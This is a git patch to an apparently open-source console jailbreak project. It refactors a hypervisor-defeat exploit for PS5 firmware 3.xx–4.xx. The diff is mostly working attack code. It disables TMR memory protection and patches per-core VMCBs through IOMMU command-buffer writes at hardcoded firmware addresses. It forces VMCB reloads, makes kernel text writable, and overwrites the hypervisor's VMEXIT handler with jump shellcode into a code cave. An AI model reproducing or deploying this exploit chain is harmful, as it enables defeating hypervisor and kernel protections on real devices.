From fbe5ae0c322a55d586d92ba0a8f6419368287a3a Mon Sep 17 00:00:00 2001 From: Andy Nguyen Date: Sat, 16 May 2026 09:43:48 +0200 Subject: [PATCH] Major cleanup and prepare for new hv exploit. --- include/config.h | 4 +- include/hv_defeat_0304.h | 14 +- include/loader.h | 1 - include/utils.h | 1 - shellcode_hv/boot_linux.c | 1 - shellcode_hv/boot_linux.h | 4 +- shellcode_hv/main.c | 1 - shellcode_hv/main.h | 3 - shellcode_hv/shellcode_hv_args.h | 2 - shellcode_hv/utils.c | 15 - shellcode_hv/utils.h | 7 - shellcode_kernel/boot_linux.c | 1 - .../{exploit_0304.c => hv_defeat_0304.c} | 301 +++++++++--------- .../{exploit_0304.h => hv_defeat_0304.h} | 6 +- shellcode_kernel/main.c | 5 +- shellcode_kernel/main.h | 7 +- shellcode_kernel/utils.c | 19 +- shellcode_kernel/utils.h | 13 +- source/firmware.c | 3 - source/hv_defeat_0304.c | 90 +----- source/iommu.c | 1 - source/loader.c | 20 +- source/prepare_resume.c | 14 +- source/utils.c | 3 - 24 files changed, 210 insertions(+), 326 deletions(-) delete mode 100644 shellcode_hv/main.h rename shellcode_kernel/{exploit_0304.c => hv_defeat_0304.c} (82%) rename shellcode_kernel/{exploit_0304.h => hv_defeat_0304.h} (93%) diff --git a/include/config.h b/include/config.h index 812ea2e..b22e496 100644 --- a/include/config.h +++ b/include/config.h @@ -18,9 +18,7 @@ #define hv_stack_size 0x1000ULL // This is used as transitional storage from ProsperoOS to Kernel shellcode -#define kernel_cave 0xFFFF800000000000 -#define kernel_cave_arguments kernel_cave -#define kernel_cave_files kernel_cave_arguments + PAGE_SIZE +#define kernel_cave_files 0xFFFF800000000000 #define kernel_cave_linux_info kernel_cave_files #define kernel_cave_bzImage kernel_cave_linux_info + PAGE_SIZE diff --git a/include/hv_defeat_0304.h b/include/hv_defeat_0304.h index 5cff90c..ee02cb8 100644 --- a/include/hv_defeat_0304.h +++ b/include/hv_defeat_0304.h @@ -2,18 +2,14 @@ #define HV_DEFEAT_0304_H #include "iommu.h" -#include int hv_defeat_0304(void); int stage1_tmr_relax(void); -int stage2_find_vmcbs(void); -uint64_t get_vmcb(int core); int iommu_selftest(void); -int stage3_patch_vmcbs(void); -int stage4_force_vmcb_reload(void); -int stage5_remove_xotext(void); -int stage6_kernel_pmap_invalidate_all(void); -int stage7_install_kexec(void); -int kexec(uint64_t fptr); +int stage2_patch_vmcbs(void); +int stage3_force_vmcb_reload(void); +int stage4_remove_xotext(void); +int stage5_kernel_pmap_invalidate_all(void); +int stage6_install_kexec(void); #endif diff --git a/include/loader.h b/include/loader.h index ebb3a12..0e4a737 100644 --- a/include/loader.h +++ b/include/loader.h @@ -1,7 +1,6 @@ #ifndef LOADER_H #define LOADER_H #include "utils.h" -#include void install_page(uintptr_t pml4, vm_offset_t va, vm_paddr_t pa, int bits); void pte_store(uintptr_t ptep, uint64_t pte); diff --git a/include/utils.h b/include/utils.h index 79d8bb3..aab463d 100644 --- a/include/utils.h +++ b/include/utils.h @@ -5,7 +5,6 @@ #include "offsets.h" #include #include -#include #include int sceKernelGetCurrentCpu(); diff --git a/shellcode_hv/boot_linux.c b/shellcode_hv/boot_linux.c index 76120d0..fb61987 100644 --- a/shellcode_hv/boot_linux.c +++ b/shellcode_hv/boot_linux.c @@ -3,7 +3,6 @@ #include "../include/linux.h" #include "utils.h" #include -#include static struct linux_info info; diff --git a/shellcode_hv/boot_linux.h b/shellcode_hv/boot_linux.h index 1ec29f6..dfa23d4 100644 --- a/shellcode_hv/boot_linux.h +++ b/shellcode_hv/boot_linux.h @@ -2,11 +2,11 @@ #define MSR_EFER 0xc0000080 #define EFER_SVM (1ULL << 12) // Bit 12: Secure Virtual Machine Enable -// // Virtual Machine Control Register (VM_CR) +// Virtual Machine Control Register (VM_CR) #define MSR_VM_CR 0xc0010114 #define VM_CR_R_INIT (1ULL << 1) // Bit 1: Intercept INIT -// // MTRRs (Memory Type Range Registers) +// MTRRs (Memory Type Range Registers) #define MSR_MTRR4kBase 0x00000268 #define MSR_MTRRVarBase 0x00000200 diff --git a/shellcode_hv/main.c b/shellcode_hv/main.c index 24f3002..47e9ed4 100644 --- a/shellcode_hv/main.c +++ b/shellcode_hv/main.c @@ -1,7 +1,6 @@ #include "../include/config.h" #include "boot_linux.h" #include "utils.h" -#include __attribute__((section(".entry_point"), naked)) uint32_t main(void) { // We enter this function after CR3 was updated to 1:1 mapping diff --git a/shellcode_hv/main.h b/shellcode_hv/main.h deleted file mode 100644 index b23b383..0000000 --- a/shellcode_hv/main.h +++ /dev/null @@ -1,3 +0,0 @@ -#include "shellcode_hv_args.h" -#include -#include diff --git a/shellcode_hv/shellcode_hv_args.h b/shellcode_hv/shellcode_hv_args.h index 92d7ff8..cff1b2a 100644 --- a/shellcode_hv/shellcode_hv_args.h +++ b/shellcode_hv/shellcode_hv_args.h @@ -1,7 +1,5 @@ // This file is shared between kernel shellcode and hypervisor shellcode -#include - typedef struct { uint64_t bzimage_pa; // Already relocated by Kernel shellcode uint64_t initrd_pa; // Already relocated by Kernel shellcode diff --git a/shellcode_hv/utils.c b/shellcode_hv/utils.c index e2a5425..61c2bf5 100644 --- a/shellcode_hv/utils.c +++ b/shellcode_hv/utils.c @@ -18,21 +18,6 @@ __attribute__((noinline, optimize("O0"))) uint32_t putc_uart(uint8_t tx_byte) { return 0; } -// Variable for val to hex -uint8_t hex_val[17]; - -__attribute__((noinline, optimize("O0"))) uint8_t * -u64_to_hex_custom(uint64_t val, uint8_t *dest) { - const uint8_t hex_chars[] = "0123456789abcdef"; - dest[16] = '\0'; - - for (int i = 15; i >= 0; i--) { - dest[i] = hex_chars[val & 0xf]; - val >>= 4; - } - return dest; -} - __attribute__((noinline, optimize("O0"))) int printf(const uint8_t *msg) { uint32_t max = 255; int ret = 0; diff --git a/shellcode_hv/utils.h b/shellcode_hv/utils.h index 0b9b3e2..7d0ec5c 100644 --- a/shellcode_hv/utils.h +++ b/shellcode_hv/utils.h @@ -5,13 +5,6 @@ uint32_t putc_uart(uint8_t tx_byte); int printf(const uint8_t *msg); -uint8_t *u64_to_hex_custom(uint64_t val, uint8_t *dest); - -extern uint8_t hex_val[17]; - -inline int print_val64(uint64_t val) { - return printf(u64_to_hex_custom(val, hex_val)); -} void memcpy(void *dest, void *src, uint64_t len); char *strcpy(char *dest, const char *src); diff --git a/shellcode_kernel/boot_linux.c b/shellcode_kernel/boot_linux.c index 3b2fb31..652b239 100644 --- a/shellcode_kernel/boot_linux.c +++ b/shellcode_kernel/boot_linux.c @@ -3,7 +3,6 @@ #include "../include/linux.h" #include "../shellcode_hv/shellcode_hv.h" #include "utils.h" -#include #define DIG1TRANSMITTERCONTROL 0x4c diff --git a/shellcode_kernel/exploit_0304.c b/shellcode_kernel/hv_defeat_0304.c similarity index 82% rename from shellcode_kernel/exploit_0304.c rename to shellcode_kernel/hv_defeat_0304.c index b709575..f17790d 100644 --- a/shellcode_kernel/exploit_0304.c +++ b/shellcode_kernel/hv_defeat_0304.c @@ -1,154 +1,147 @@ -#include "exploit_0304.h" -#include "../include/config.h" -#include "shellcode_kernel_args.h" -#include "utils.h" - -uint32_t (*hv_iommu_set_buffers)(uint64_t cb2_pa, uint64_t cb3_pa, - uint64_t eb_pa, uint64_t unk, int *n_devices); -uint32_t (*hv_iommu_wait_completion)(void); - -int disable_npts_0304(volatile shellcode_kernel_args *args_ptr) { - uint64_t iommu_cb2_pa = vtophys(args_ptr->dmap_base, args_ptr->iommu_cb2_va); - uint64_t iommu_cb3_pa = vtophys(args_ptr->dmap_base, args_ptr->iommu_cb3_va); - uint64_t iommu_eb_pa = vtophys(args_ptr->dmap_base, args_ptr->iommu_eb_va); - - uint64_t unk; - int n_devices; - - // Reconfigure IOMMU calling the HV - int ret = ((uint64_t(*)(uint64_t, uint64_t, uint64_t, uint64_t, - int *))args_ptr->fun_hv_iommu_set_buffers)( - iommu_cb2_pa, iommu_cb3_pa, iommu_eb_pa, (uint64_t)&unk, &n_devices); - if (ret != 0) { - puts_uart(args_ptr->dmap_base, (char[]){"IOMMU sb X\n"}); - return -1; - } - - ret = ((uint64_t(*)(void))args_ptr->fun_hv_iommu_wait_completion)(); - if (ret) { - puts_uart(args_ptr->dmap_base, (char[]){"IOMMU sb NO OK\n"}); - return -1; - } - - puts_uart(args_ptr->dmap_base, (char[]){"IOMMU sb OK\n"}); - - if (tmr_disable(args_ptr->dmap_base)) { - puts_uart(args_ptr->dmap_base, (char[]){"TMR NO OK\n"}); - return -1; - } - - puts_uart(args_ptr->dmap_base, (char[]){"TMR OK\n"}); - - patch_vmcb(args_ptr); - puts_uart(args_ptr->dmap_base, (char[]){"VMCB OK\n"}); - - // Re-do this to force a VMEXIT without HV injecting faults - ((uint64_t(*)(uint64_t, uint64_t, uint64_t, uint64_t, - int *))args_ptr->fun_hv_iommu_set_buffers)( - iommu_cb2_pa, iommu_cb3_pa, iommu_eb_pa, (uint64_t)&unk, &n_devices); - ((uint64_t(*)(void))args_ptr->fun_hv_iommu_wait_completion)(); - puts_uart(args_ptr->dmap_base, (char[]){"Back from HV\n"}); - - return 0; -} - -void patch_hv_0304(void) { - // Jump to shellcode final identity mapping - uint8_t shellcode_jmp[] = { - 0x48, 0xC7, 0xC0, 0x00, 0x6F, 0x80, 0x62, // mov rax, 0x62806f00 - 0xFF, 0xE0, 0xC3, 0xC3, 0xC3, 0xC3, 0xC3, // jmp rax - 0xC3, 0xC3}; - - // Update code cave in hv 1:1 region - *(uint32_t *)(&shellcode_jmp[3]) = (uint32_t)args.hv_code_cave_pa; - - // Just patch the VMEXIT handler directly, avoiding all checks - memcpy((void *)PHYS_TO_DMAP(args.hv_handle_vmexit_pa), shellcode_jmp, - sizeof(shellcode_jmp)); - - uint8_t shellcode_identity_and_jmp[] = { - 0x48, 0xB8, 0x00, 0x00, 0x00, - 0x00, 0x01, 0x00, 0x00, 0x00, // movabs rax, 0x100000000 - 0x0F, 0x22, 0xD8, // mov cr3, rax - 0x48, 0xB8, 0x00, 0x30, 0x00, - 0x00, 0x01, 0x00, 0x00, 0x00, // movabs rax, 0x100003000 - 0xFF, 0xE0 // jmp rax - }; - - // Update CR3 PA (from config) - *(uint64_t *)(&shellcode_identity_and_jmp[2]) = cave_hv_paging; - // Update HV shellcode cave - *(uint64_t *)(&shellcode_identity_and_jmp[15]) = cave_hv_code; - - // Install shellcode to update CR3 and jump to main HV shellcode - memcpy((void *)PHYS_TO_DMAP(args.hv_code_cave_pa), shellcode_identity_and_jmp, - sizeof(shellcode_identity_and_jmp)); -} - -__attribute__((noinline, optimize("O0"))) void -iommu_submit_cmd(volatile shellcode_kernel_args *args_ptr, uint64_t *cmd) { - uint64_t curr_tail = - *((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8); - uint64_t next_tail = (curr_tail + IOMMU_CMD_ENTRY_SIZE) & IOMMU_CB_MASK; - - uint64_t *cmd_buffer = (uint64_t *)args_ptr->iommu_cb2_va + curr_tail / 8; - - cmd_buffer[0] = cmd[0]; - cmd_buffer[1] = cmd[1]; - - __asm__ volatile("" : : : "memory"); - - *((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8) = next_tail; - - while (*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_HEAD / 8) != - *((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8)) - ; -} - -__attribute__((noinline, optimize("O0"))) void -iommu_write8_pa(volatile shellcode_kernel_args *args_ptr, uint64_t pa, - uint64_t val) { - uint32_t cmd[4] = {0}; - cmd[0] = (uint32_t)(pa & 0xFFFFFFF8) | 0x05; - cmd[1] = ((uint32_t)(pa >> 32) & 0xFFFFF) | 0x10000000; - cmd[2] = (uint32_t)(val); - cmd[3] = (uint32_t)(val >> 32); - iommu_submit_cmd(args_ptr, (uint64_t *)cmd); -} - -__attribute__((noinline, optimize("O0"))) void -patch_vmcb(volatile shellcode_kernel_args *args_ptr) { - for (int i = 0; i < 16; i++) { - uint64_t pa = args_ptr->vmcb[i]; - - iommu_write8_pa(args_ptr, pa + 0x00, 0x0000000000000000ULL); - iommu_write8_pa(args_ptr, pa + 0x08, 0x0004000000000000ULL); - iommu_write8_pa(args_ptr, pa + 0x10, 0x000000000000000FULL); - iommu_write8_pa(args_ptr, pa + 0x58, 0x0000000000000001ULL); - iommu_write8_pa(args_ptr, pa + 0x90, 0x0000000000000000ULL); - } -} - -__attribute__((noinline, optimize("O0"))) uint32_t tmr_read(uint64_t dmap, - uint32_t addr) { - *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_INDEX_OFF) = addr; - return *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_DATA_OFF); -} - -__attribute__((noinline, optimize("O0"))) void -tmr_write(uint64_t dmap, uint32_t addr, uint32_t val) { - *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_INDEX_OFF) = addr; - *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_DATA_OFF) = val; -} - -__attribute__((noinline, optimize("O0"))) int tmr_disable(uint64_t dmap) { - for (int i = 0; i < 24; i++) { - if (tmr_read(dmap, TMR_CONFIG(i)) != 0) { - tmr_write(dmap, TMR_CONFIG(i), 0); - if (tmr_read(dmap, TMR_CONFIG(i)) != 0) { - return -1; - } - } - } - return 0; -} \ No newline at end of file +#include "hv_defeat_0304.h" +#include "../include/config.h" +#include "shellcode_kernel_args.h" +#include "utils.h" + +uint32_t (*hv_iommu_set_buffers)(uint64_t cb2_pa, uint64_t cb3_pa, + uint64_t eb_pa, uint64_t unk, int *n_devices); +uint32_t (*hv_iommu_wait_completion)(void); + +int hv_defeat_0304(volatile shellcode_kernel_args *args_ptr) { + uint64_t iommu_cb2_pa = vtophys(args_ptr->dmap_base, args_ptr->iommu_cb2_va); + uint64_t iommu_cb3_pa = vtophys(args_ptr->dmap_base, args_ptr->iommu_cb3_va); + uint64_t iommu_eb_pa = vtophys(args_ptr->dmap_base, args_ptr->iommu_eb_va); + + uint64_t unk; + int n_devices; + + // Reconfigure IOMMU calling the HV + int ret = ((uint64_t(*)(uint64_t, uint64_t, uint64_t, uint64_t, + int *))args_ptr->fun_hv_iommu_set_buffers)( + iommu_cb2_pa, iommu_cb3_pa, iommu_eb_pa, (uint64_t)&unk, &n_devices); + if (ret != 0) { + puts_uart(args_ptr->dmap_base, (char[]){"IOMMU sb X\n"}); + return -1; + } + + ret = ((uint64_t(*)(void))args_ptr->fun_hv_iommu_wait_completion)(); + if (ret) { + puts_uart(args_ptr->dmap_base, (char[]){"IOMMU sb NO OK\n"}); + return -1; + } + + puts_uart(args_ptr->dmap_base, (char[]){"IOMMU sb OK\n"}); + + if (tmr_disable(args_ptr->dmap_base)) { + puts_uart(args_ptr->dmap_base, (char[]){"TMR NO OK\n"}); + return -1; + } + + puts_uart(args_ptr->dmap_base, (char[]){"TMR OK\n"}); + + patch_vmcb(args_ptr); + puts_uart(args_ptr->dmap_base, (char[]){"VMCB OK\n"}); + + // Re-do this to force a VMEXIT without HV injecting faults + ((uint64_t(*)(uint64_t, uint64_t, uint64_t, uint64_t, + int *))args_ptr->fun_hv_iommu_set_buffers)( + iommu_cb2_pa, iommu_cb3_pa, iommu_eb_pa, (uint64_t)&unk, &n_devices); + ((uint64_t(*)(void))args_ptr->fun_hv_iommu_wait_completion)(); + puts_uart(args_ptr->dmap_base, (char[]){"Back from HV\n"}); + + return 0; +} + +void patch_hv_0304(void) { + // Jump to shellcode final identity mapping + uint8_t shellcode_jmp[] = {0x48, 0xC7, 0xC0, 0xAA, + 0xAA, 0xAA, 0xAA, // mov rax, 0xAAAAAAAA + 0xFF, 0xE0}; // jmp rax + + // Update code cave in hv 1:1 region + *(uint32_t *)(&shellcode_jmp[3]) = (uint32_t)args.hv_code_cave_pa; + + // Just patch the VMEXIT handler directly, avoiding all checks + memcpy((void *)PHYS_TO_DMAP(args.hv_handle_vmexit_pa), shellcode_jmp, + sizeof(shellcode_jmp)); + + uint8_t shellcode_identity_and_jmp[] = { + 0x48, 0xB8, 0xAA, 0xAA, 0xAA, + 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // movabs rax, 0xAAAAAAAAAAAAAAAA + 0x0F, 0x22, 0xD8, // mov cr3, rax + 0x48, 0xB8, 0xAA, 0xAA, 0xAA, + 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // movabs rax, 0xAAAAAAAAAAAAAAAA + 0xFF, 0xE0 // jmp rax + }; + + // Update CR3 PA (from config) + *(uint64_t *)(&shellcode_identity_and_jmp[2]) = cave_hv_paging; + // Update HV shellcode cave + *(uint64_t *)(&shellcode_identity_and_jmp[15]) = cave_hv_code; + + // Install shellcode to update CR3 and jump to main HV shellcode + memcpy((void *)PHYS_TO_DMAP(args.hv_code_cave_pa), shellcode_identity_and_jmp, + sizeof(shellcode_identity_and_jmp)); +} + +__attribute__((noinline, optimize("O0"))) void +iommu_submit_cmd(volatile shellcode_kernel_args *args_ptr, uint64_t *cmd) { + uint64_t curr_tail = + *((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8); + uint64_t next_tail = (curr_tail + IOMMU_CMD_ENTRY_SIZE) & IOMMU_CB_MASK; + + uint64_t *cmd_buffer = (uint64_t *)args_ptr->iommu_cb2_va + curr_tail / 8; + + cmd_buffer[0] = cmd[0]; + cmd_buffer[1] = cmd[1]; + + __asm__ volatile("" : : : "memory"); + + *((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8) = next_tail; + + while (*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_HEAD / 8) != + *((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8)) + ; +} + +__attribute__((noinline, optimize("O0"))) void +iommu_write8_pa(volatile shellcode_kernel_args *args_ptr, uint64_t pa, + uint64_t val) { + uint32_t cmd[4] = {0}; + cmd[0] = (uint32_t)(pa & 0xFFFFFFF8) | 0x05; + cmd[1] = ((uint32_t)(pa >> 32) & 0xFFFFF) | 0x10000000; + cmd[2] = (uint32_t)(val); + cmd[3] = (uint32_t)(val >> 32); + iommu_submit_cmd(args_ptr, (uint64_t *)cmd); +} + +__attribute__((noinline, optimize("O0"))) void +patch_vmcb(volatile shellcode_kernel_args *args_ptr) { + for (int i = 0; i < 16; i++) { + iommu_write8_pa(args_ptr, args_ptr->vmcb[i] + 0x90, 0); + } +} + +__attribute__((noinline, optimize("O0"))) uint32_t tmr_read(uint64_t dmap, + uint32_t addr) { + *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_INDEX_OFF) = addr; + return *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_DATA_OFF); +} + +__attribute__((noinline, optimize("O0"))) void +tmr_write(uint64_t dmap, uint32_t addr, uint32_t val) { + *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_INDEX_OFF) = addr; + *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_DATA_OFF) = val; +} + +__attribute__((noinline, optimize("O0"))) int tmr_disable(uint64_t dmap) { + for (int i = 0; i < 24; i++) { + if (tmr_read(dmap, TMR_CONFIG(i)) != 0) { + tmr_write(dmap, TMR_CONFIG(i), 0); + if (tmr_read(dmap, TMR_CONFIG(i)) != 0) { + return -1; + } + } + } + return 0; +} diff --git a/shellcode_kernel/exploit_0304.h b/shellcode_kernel/hv_defeat_0304.h similarity index 93% rename from shellcode_kernel/exploit_0304.h rename to shellcode_kernel/hv_defeat_0304.h index 3e170d2..40a6f77 100644 --- a/shellcode_kernel/exploit_0304.h +++ b/shellcode_kernel/hv_defeat_0304.h @@ -1,5 +1,5 @@ -#ifndef EXPLOIT_0304_H -#define EXPLOIT_0304_H +#ifndef HV_DEFEAT_0304_H +#define HV_DEFEAT_0304_H #include "shellcode_kernel_args.h" extern uint32_t (*hv_iommu_set_buffers)(uint64_t cb2_pa, uint64_t cb3_pa, @@ -7,7 +7,7 @@ extern uint32_t (*hv_iommu_set_buffers)(uint64_t cb2_pa, uint64_t cb3_pa, int *n_devices); extern uint32_t (*hv_iommu_wait_completion)(void); -int disable_npts_0304(volatile shellcode_kernel_args *args_ptr); +int hv_defeat_0304(volatile shellcode_kernel_args *args_ptr); void patch_hv_0304(void); // tmr via ecam b0d18f2 diff --git a/shellcode_kernel/main.c b/shellcode_kernel/main.c index e10efaa..c68293a 100644 --- a/shellcode_kernel/main.c +++ b/shellcode_kernel/main.c @@ -1,9 +1,8 @@ #include "main.h" #include "boot_linux.h" -#include "exploit_0304.h" +#include "hv_defeat_0304.h" #include "utils.h" #include -#include shellcode_kernel_args args = {0}; @@ -26,7 +25,7 @@ __attribute__((section(".entry_point"))) uint32_t main(uint64_t add1, activate_uart(args_ptr); if ((0x0300 <= args_ptr->fw_version) && (args_ptr->fw_version < 0x0500)) { - if (disable_npts_0304(args_ptr)) + if (hv_defeat_0304(args_ptr)) return -1; // Now we can R/W on .text init_global_pointers(args_ptr); diff --git a/shellcode_kernel/main.h b/shellcode_kernel/main.h index 276f360..eb84b29 100644 --- a/shellcode_kernel/main.h +++ b/shellcode_kernel/main.h @@ -1,12 +1,11 @@ #ifndef MAIN_H #define MAIN_H #include "shellcode_kernel_args.h" -#include void (*printf)(const char *format, ...); -void (*smp_rendezvous)(void (*setup_func)(void), void (*action_func)(void), - void (*teardown_func)(void), void *arg); -void (*smp_no_rendevous_barrier)(void); +void (*smp_rendezvous)(void (*setup_func)(void *), void (*action_func)(void *), + void (*teardown_func)(void *), void *arg); +void (*smp_no_rendevous_barrier)(void *); uint32_t main(uint64_t add1, uint64_t add2); diff --git a/shellcode_kernel/utils.c b/shellcode_kernel/utils.c index fb0d111..e3bd0f4 100644 --- a/shellcode_kernel/utils.c +++ b/shellcode_kernel/utils.c @@ -1,5 +1,6 @@ #include "utils.h" #include "shellcode_kernel_args.h" +#include extern shellcode_kernel_args args; @@ -98,9 +99,10 @@ void init_global_pointers(volatile shellcode_kernel_args *args_ptr) { memcpy(&args, (void *)args_ptr, sizeof(args)); printf = (void (*)(const char *, ...))args.fun_printf; - smp_rendezvous = (void (*)(void (*)(void), void (*)(void), void (*)(void), - void *))args.fun_smp_rendezvous; - smp_no_rendevous_barrier = (void (*)(void))args.fun_smp_no_rendevous_barrier; + smp_rendezvous = (void (*)(void (*)(void *), void (*)(void *), + void (*)(void *), void *))args.fun_smp_rendezvous; + smp_no_rendevous_barrier = + (void (*)(void *))args.fun_smp_no_rendevous_barrier; transmitter_control = (int (*)(int, void *))args.fun_transmitter_control; mp3_initialize = (int (*)(int))args.fun_mp3_initialize; @@ -108,8 +110,15 @@ void init_global_pointers(volatile shellcode_kernel_args *args_ptr) { g_vbios = args.g_vbios; } -void vmmcall_dummy(void) { +uint8_t get_cpu(void) { + uint32_t eax, ebx, ecx, edx; + __get_cpuid(1, &eax, &ebx, &ecx, &edx); + uint8_t cpu_id = (ebx >> 24) & 0xFF; + return cpu_id; +} + +void vmmcall_dummy(void *) { __asm__ volatile("mov $0x1, %rax \n" "vmmcall \n" "ret \n"); -} \ No newline at end of file +} diff --git a/shellcode_kernel/utils.h b/shellcode_kernel/utils.h index c9f0269..a5480f1 100644 --- a/shellcode_kernel/utils.h +++ b/shellcode_kernel/utils.h @@ -2,13 +2,12 @@ #define UTILS_H #include "boot_linux.h" #include "shellcode_kernel_args.h" -#include extern void (*printf)(const char *format, ...); -extern void (*smp_rendezvous)(void (*setup_func)(void), - void (*action_func)(void), - void (*teardown_func)(void), void *arg); -extern void (*smp_no_rendevous_barrier)(void); +extern void (*smp_rendezvous)(void (*setup_func)(void *), + void (*action_func)(void *), + void (*teardown_func)(void *), void *arg); +extern void (*smp_no_rendevous_barrier)(void *); extern int (*transmitter_control)(int cmd, void *control); extern int (*mp3_initialize)(int vmid); extern int (*mp3_invoke)(int cmd_id, void *req, void *rsp); @@ -52,5 +51,7 @@ int puts_uart(uint64_t dmap, const uint8_t *msg); void activate_uart(volatile shellcode_kernel_args *args_ptr); void halt(void); void init_global_pointers(volatile shellcode_kernel_args *args_ptr); -void vmmcall_dummy(void); +uint8_t get_cpu(void); +void vmmcall_dummy(void *); + #endif diff --git a/source/firmware.c b/source/firmware.c index 79b5fe1..2653eaa 100644 --- a/source/firmware.c +++ b/source/firmware.c @@ -2,11 +2,8 @@ #include "utils.h" #include #include -#include #include -#include #include -#include #define PS5_WIFI_FW_BOOT_PATH "lib/nxp/pcieuartiw620_combo_v1.bin" diff --git a/source/hv_defeat_0304.c b/source/hv_defeat_0304.c index 15f3683..7f2bb26 100644 --- a/source/hv_defeat_0304.c +++ b/source/hv_defeat_0304.c @@ -7,27 +7,20 @@ #include #include #include -#include #include -#include uint64_t vmcb_pa[16]; int hv_defeat_0304(void) { - if (gpu_init()) - return -1; if (stage1_tmr_relax()) return -1; - if (stage2_find_vmcbs()) + if (stage2_patch_vmcbs()) return -1; - iommu_selftest(); - if (stage3_patch_vmcbs()) + if (stage3_force_vmcb_reload()) return -1; - if (stage4_force_vmcb_reload()) + if (stage4_remove_xotext()) return -1; - if (stage5_remove_xotext()) - return -1; - if (stage6_kernel_pmap_invalidate_all()) + if (stage5_kernel_pmap_invalidate_all()) return -1; return 0; } @@ -77,78 +70,33 @@ no_ok: return -1; } -int stage2_find_vmcbs(void) { - DEBUG_PRINT("\nHV-defeat [stage2] vmcb discovery\n"); - - for (int c = 0; c < 16; c++) { - vmcb_pa[c] = get_vmcb(c); - DEBUG_PRINT(" core %02d: pa=0x%016lx\n", c, vmcb_pa[c]); - } - - return 0; -} - -uint64_t get_vmcb(int core) { +static uint64_t get_vmcb(int core) { switch (fw) { case 0x0300: case 0x0310: case 0x0320: case 0x0321: return (uint64_t)0x6290B000 + (uint64_t)core * 0x3000; - break; case 0x0400: case 0x0402: case 0x0403: case 0x0450: case 0x0451: return (uint64_t)0x62A05000 + (uint64_t)core * 0x3000; - break; default: return -1; } } -int iommu_selftest(void) { - DEBUG_PRINT("\n[iommu] self-test\n"); - - uint64_t scratch = 0xAAAAAAAABBBBBBBBULL; - uint64_t scratch_pa = vtophys_user((uint64_t)&scratch); - - if (!scratch_pa || scratch_pa >= 0x100000000ULL) { - DEBUG_PRINT(" bad scratch PA 0x%016lx\n", scratch_pa); - return -1; - } - - uint64_t pattern = 0xDEADCAFE12345678ULL; - DEBUG_PRINT(" scratch pa=0x%016lx before=0x%016lx\n", scratch_pa, scratch); - - iommu_write8_pa(scratch_pa, pattern); - uint64_t readback = kread64(dmap + scratch_pa); - - DEBUG_PRINT(" wrote=0x%016lx read=0x%016lx %s\n", pattern, readback, - (readback == pattern) ? "OK" : "FAIL"); - - return (readback == pattern) ? 0 : -1; -} - -int stage3_patch_vmcbs(void) { - DEBUG_PRINT("\nHV-defeat [stage3-iommu] vmcb patch via IOMMU\n"); +int stage2_patch_vmcbs(void) { + DEBUG_PRINT("\nHV-defeat [stage2-iommu] vmcb patch via IOMMU\n"); int cur = sceKernelGetCurrentCpu(); pin_to_core(cur); for (int i = 0; i < 16; i++) { - uint64_t pa = vmcb_pa[i]; - - iommu_write8_pa(pa + 0x00, 0x0000000000000000ULL); - iommu_write8_pa(pa + 0x08, 0x0004000000000000ULL); - iommu_write8_pa(pa + 0x10, 0x000000000000000FULL); - iommu_write8_pa(pa + 0x58, 0x0000000000000001ULL); - iommu_write8_pa(pa + 0x90, 0x0000000000000000ULL); - - DEBUG_PRINT(" vmcb[%2d] patched (pa=0x%016lx)\n", i, pa); - - usleep(1000); + vmcb_pa[i] = get_vmcb(i); + iommu_write8_pa(vmcb_pa[i] + 0x90, 0); } pin_to_core(9); @@ -165,7 +113,7 @@ void handle_sigill(int sig) { longjmp(jmp_env, 1); } -int stage4_force_vmcb_reload(void) { +int stage3_force_vmcb_reload(void) { int ret = 0; auto old_handler = signal(SIGILL, handle_sigill); @@ -178,7 +126,6 @@ int stage4_force_vmcb_reload(void) { __asm__ volatile("vmmcall"); } - usleep(1000); DEBUG_PRINT("[vmmcall] core: %02d %s\n", i, vmmcall_faulted ? "SIGILL (caught)" : "ok"); @@ -192,8 +139,8 @@ int stage4_force_vmcb_reload(void) { return ret ? 0 : -1; } -int stage5_remove_xotext(void) { - DEBUG_PRINT("\nHV-Defeat [stage5] xotext removal\n"); +int stage4_remove_xotext(void) { + DEBUG_PRINT("\nHV-Defeat [stage4] xotext removal\n"); uint64_t start = ktext; uint64_t end = kdata; @@ -204,20 +151,11 @@ int stage5_remove_xotext(void) { n++; } DEBUG_PRINT(" %d pages on ktext\n", n); - - start = kdata; - end = kdata + 0x08000000; - n = 0; - for (uint64_t a = start; a < end; a += 0x1000) { - page_chain_set_rw(a); - n++; - } - DEBUG_PRINT(" %d pages on kdata\n", n); return 0; } -int stage6_kernel_pmap_invalidate_all(void) { - DEBUG_PRINT("HV-Defeat [stage6] invalidate paging entries\n"); +int stage5_kernel_pmap_invalidate_all(void) { + DEBUG_PRINT("HV-Defeat [stage5] invalidate paging entries\n"); static uint64_t two_zero_pages[PAGE_SIZE * 2] = {0}; diff --git a/source/iommu.c b/source/iommu.c index 09a0343..bde7e97 100644 --- a/source/iommu.c +++ b/source/iommu.c @@ -1,6 +1,5 @@ #include "iommu.h" #include "utils.h" -#include #include iommu_ctx iommu_store; diff --git a/source/loader.c b/source/loader.c index 2742e02..a982c9d 100644 --- a/source/loader.c +++ b/source/loader.c @@ -3,21 +3,11 @@ #include "firmware.h" #include "linux.h" #include "utils.h" -#include #include -#include -#include #include #include -#include -#include #include -#include -#include -#include #include -#include -#include const char *file_paths[] = { "/mnt/usb0/", "/mnt/usb1/", "/mnt/usb2/", @@ -45,14 